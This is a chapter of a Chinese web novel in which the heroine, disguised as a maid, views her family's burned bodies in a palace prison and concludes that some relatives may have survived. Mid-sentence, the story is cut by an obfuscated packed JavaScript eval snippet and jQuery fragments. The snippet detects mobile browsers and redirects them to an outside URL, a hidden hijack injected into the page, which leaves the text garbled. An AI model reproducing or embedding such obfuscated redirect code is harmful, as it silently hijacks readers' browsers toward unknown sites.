默认冷灰
24号文字
方正启体

19. 幸存

作者:绛衣白本书字数:K更新时间:
    过了不久,屋外的锁轻轻作响,随后是铁锁落地,门被打开,一阵风雪随着门卷进屋里。


    带来的还有一些刺目的日光。


    “照儿。”这是一个温和的女声。


    来人蹲下来,将手中的披风披在琅照身上。


    琅照抬头,却是季宣的生母,季夫人琅语。


    琅语今日穿着秋香色大襟长袄,配一条青绣金平褶裙,更显平时的温和气质。


    只是她脸上的胭脂很重,许是掩盖不好的气色,琅语和琅照一样,都失去了最亲的兄长。


    琅照抓住琅语的手,仿佛抓住了最后一根救命稻草,“姑母,我必须去罚罪司,我必须去。”


    “照儿莫急,姑母来找你就是为了带你去的啊。”琅语的声音似乎比屋外的莹莹白雪更轻。


    琅照用力地点头。


    琅语将她扶起来,把披风的帽子兜到她的头上,“先随我去换身季府丫鬟的服饰,再跟我一道去罚罪司。”


    琅照立即跟着琅语,换了一身丫鬟行头,却还是披着一件半旧的暗白色披风。


    在去虞宫的马车上,琅照无意识地掐着自己的手指,她不知道自己还能不能认出来她的父母兄长,也很难想象他们死时的样子。


    她心中有很多疑惑,罚罪司应当有很多巡逻的狱卒,火势为何会大到罚罪司无一人幸免?


    且罚罪司阴冷,在干燥的天气里都未曾走水,为何在湿冷的冬日反遭了大火?


    到了虞宫宫门,守卫拦住了季家的车马,琅语掀开车帷,守卫凑过来说道:“季夫人,季家方才已有人去了。”


    琅语微不可察地挑了挑眉,平静道:“那又如何?”


    那守卫见和琅语说不通,不再坚持,对后面的人一摆手,“放行。”


    琅照一行便从容地过了宫门,马车一进虞宫,就听到外面侍卫轻蔑的声音:“他们琅家不就是乱臣贼子,还这么大排场,季家真是不明事理,没心没脸。”


    琅照清楚地听到了每个字眼,明明知道他们的话毫无道理可言,可是所有人都这样说,无力感劈头盖脸地砸到琅照心上。


    琅语看见琅照低下的头,欲言又止,终究什么话也没说。


    虞宫里的长道覆盖着厚厚的雪,其上有不少车轮印迹,想来都是为罚罪司大火里丧生的人收尸。


    不久便到了罚罪司门前,牌匾已经被烧烂,掉了一边,全靠左边支撑着,要掉不掉的样子。


    里面的味道极其难闻,焦糊味混杂着罚罪司本来就有的血腥味,混成了一种说不出的恶臭。


    琅照望着里头的一片漆黑,感到心中阴恻恻的,在罚罪司临时当值的狱卒拦住了琅照。


    琅照身上是丫鬟的衣服,却披着一件挡住面容的披风,不由地引人生疑。


    “什么人?登记一下。”那是一个女人,看起来年纪很轻,约莫二十岁,她穿着干练,一身深蓝交领窄袖直裰,系黑色腰封,腕上带着银丝护臂。


    琅语走上前,“季府琅语。”


    女狱卒利落地在登记簿上走笔,搁下墨笔,她点燃一只烛台,伸出空着的一只手摆了个请的手势。


    琅语便往里走,琅照紧随其后。


    女狱卒手中摇晃的烛火让琅照止不住地发晕,头疼欲裂,她强行将不适忍下,全神贯注地打量着罚罪司内的景象。


    里面已经是漆黑一片,脚下是昨夜救火留下的黑色的污水,几乎每一步都让人感到如同深陷暗沼。


    刑室内没有尸体,大火来时是除夕,罚罪司应当不会选在除夕审犯人。


    再往里走便是牢房,终于看到了尸体。


    突然看见这样的场景,纵使心中早有防备,琅照和琅语还是没忍住开始干呕起来。


    跟着进来的仆从也忍不住呕吐。


    琅照这几天其实没吃什么,什么也吐不出来,她强忍着恶心盯着牢房里的焦尸,逐渐习惯了眼前的景象。


    琅照拍了拍琅语的背,“夫人,受不住,您先回去吧。”


    琅语摇了摇头,直起背来,用袖口捂着嘴,继续往前走。


    这些焦黑的人形,或倚或躺,方位很不一样,有的在牢房中央,有的在不同方向的墙角。


    火是从哪个方向烧过来的,很难判断。


    刚开始看到这些烧焦的人,琅照感觉心头寒到了极处,这些人被囚困,连逃生的资格都没有。


    “大人,犯人被囚,难以逃生,那当夜值守的狱卒,怎么会也葬身火海?”琅照忍不住开口问了一句。


    女狱卒皱了皱眉,并没有回头看琅照,直接开口回答道:“罚罪司管理不佳,狱卒当夜擅离职守,喝酒庆贺除夕,都醉成昏死,便在无知无觉中被烧成焦尸。”


    她的话不带一丝恻隐。


    “如何得知?”


    “狱卒的尸体都聚集在憩房里的酒桌附近。”


    “憩房在哪?”


    女狱卒狐疑地回头,“这是解案司的职责,你我都无权干涉。”


    琅照还欲再辩,琅语却扯了扯琅照的衣角。


    琅照便没有再开口,毕竟她不能给季家惹出麻烦。


    慢慢往里走,每个牢房里的犯人都无人来收,但凡是到了罚罪司的犯人,都惹上了不该惹的氏族,就是亲人也不敢来收尸了。


    那最终也只有乱葬岗这一条归路。


    琅照其实根本无法确定见到的人是否是她的亲人,只是领头的狱卒一直往里面走,她们便只得跟上。


    到了走廊尽头,狱卒停下了脚步,她指着左手边的牢房,冷冷道:“琅谦、裴澈。”


    又指着右手边说道:“琅昀、琅照。”随后便拿着烛台退到一边。


    琅照看着左手边的两个人,较为高大的一个紧紧抱着身量较小的一个,躺在牢房中央。


    那是琅谦、裴澈。


    琅谦的脸对着房顶,裴澈的脸埋在琅谦怀里。


    琅照感觉腿一软,便伸手扶住了背后的牢栅,才没摔下去。


    这一扶便扶在了牢栅上的一个大手印上,琅照回头,那里的牢栅圆柱在之前被摁出了一个清晰可见的手印。


    琅照连忙收回手,这个房间里的两人躺在不同的地方,高些的躺在靠门近的地方,矮些的在靠墙的位置。


    这是琅昀和鹿蜀。


    琅昀明明说了只是出去买一份乳糖圆子,为什么琅照一觉醒来,不但没有乳糖圆子,还失去了兄长。


    鹿蜀本不用死的,可是她已经面目全非躺在牢房里。她躺在那一摊脏污的水里,可是她最怕脏了。


    有些奇怪,鹿蜀和琅昀在面临火灾时为什么没有退到一起?按理说琅昀一直将鹿蜀当做亲妹,危难关头,应该将她护在身边。


    狱卒将牢房的门打开,琅照冲了进去。


    明明眼前是最亲近的人,琅照却不敢靠近,她的手止不住地剧烈颤抖。


    当那双颤抖的手慢慢靠近琅昀烧焦的身体时,琅照不由自主地将手收回,她一口咬住手背,好似这样她的手就可以不再颤动。


    她就着烛光看见地上的人的身体,他的背紧贴地面,锁骨处左右两边等高。


    这不是琅昀!


    幼时琅昀喜欢趴着写字,写着写着便睡过去了,久而久之,他的左边的锁骨略微突出。


    眼前此人绝不是琅昀。


    琅照怀着希冀走到另一具尸体边,她实在找不出证明这具尸体不是鹿蜀的证据,记忆中鹿蜀她好像就是这样……


    琅照快速


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206293|197355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摇了摇头,将自己不好的念头摒弃,走出了房门,来到了对面的牢房。


    琅语已经蹲在相依的两具尸体前,不断地抽泣着。


    琅照走近了些,这两个人和裴澈琅谦的身量也极度相似。


    琅照扶起琅语,琅语身上的裙子染上了火场的脏水,变得污秽不堪。


    琅语用袖子擦了擦眼睛,朝身后的家仆使了个眼色,后面的家仆便开始移动尸身。


    “夫人还是早些离开,待在此处久了终是不好。”女狱卒开口道,她手里的烛台变得微弱,好似也在催促琅语等人离开。


    “夫人,我们走吧。”琅照开口劝道。


    琅语回头看了看靠在一起的两具尸体,仆从正在将二人分开。


    “住手!”琅语呵斥道,“就这样,将他们带走,必须万分小心!”


    仆从便停手回话:“是。”


    琅语这才和琅照一同离开。


    还没走到大堂,就碰到了往里走的季宣等人。


    其中还有太子景晏序。


    “见过太子殿下。”琅语行礼道。


    “季夫人,不必多礼。”景晏序将琅语扶起来。


    琅照连忙将头低下,藏在披风的阴影里。


    季宣看着琅语,“母亲,您怎么来了。”


    “我必须亲自来一趟。”


    季宣看着琅照,眉头一皱,却没有戳破。


    景晏序也注意到了披着披风的丫鬟,却没有多问。


    “我们已经命人将尸体带出来了,宣儿,你方才去做了什么?”琅语问季宣道。


    “我方才去清了琅家被扣下的物品,几件衣服和随身物品。”季宣回答道。


    琅语看向景晏序,“那殿下缘何来此?”


    “本宫负责了罚罪司火灾后重建的事项,所以来看看损毁程度。”


    琅语点了点头,“那我们便先告辞了。”


    景晏序颔首让路。


    琅照跟在琅语身后,经过景晏序的时候,对上了景晏序漆黑的眼睛,就仿佛他一直注意着她。


    但拿着烛台的狱卒走在琅照身后,所以琅照背着光,在罚罪司这样的光线下,景晏序无论如何都看不见她的模样。


    只是他为什么会盯着一个丫鬟?


    琅照跟着琅语季宣往外走,她感受到背后的光越来越弱,回头却看见女狱卒跟着景晏序往牢里面走去。


    女狱卒朝景晏序倾身过去,附耳与他说些什么。


    景晏序正听着狱卒的话,似乎感受到了琅照的目光,又回头看向琅照这边。


    好在琅照早回了头。


    乘上马车,季宣拉起琅照头上的帽檐,他稍一歪头,便对上琅照的眼睛。


    季宣确认过后,放下她的帽檐,无奈道:“你还是来了。”


    “我必须来的,表……公子,你拿到了什么东西?”


    季宣将手里的大盒子打开,里面是一些裴澈和鹿蜀的首饰。


    其中,裴澈最喜欢,并且戴旧了的蜻蜓银簪躺在角落,旁边是鹿蜀很少戴的棠花珠钗,还很新,反射着光泽。


    可一场火足以让一切化为乌有。


    里面还有琅昀和琅谦的发冠,可琅照确定,琅昀绝没有死在牢里。


    琅照在首饰之中翻找起来,却十分疑惑道:“只有这些吗?”


    季宣抬眸,认真答道:“我找时很仔细,绝没有漏下的。”


    琅语皱眉道:“可是少了什么?”


    “有一个赤金红珠璎珞圈不见了。”


    那是鹿蜀随身带着的,怎么会没有?


    琅照希望琅家灭门之局中的幸存者,不止她一人。


    可若是他们还活着,他们在哪呢?为什么杳无音讯?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)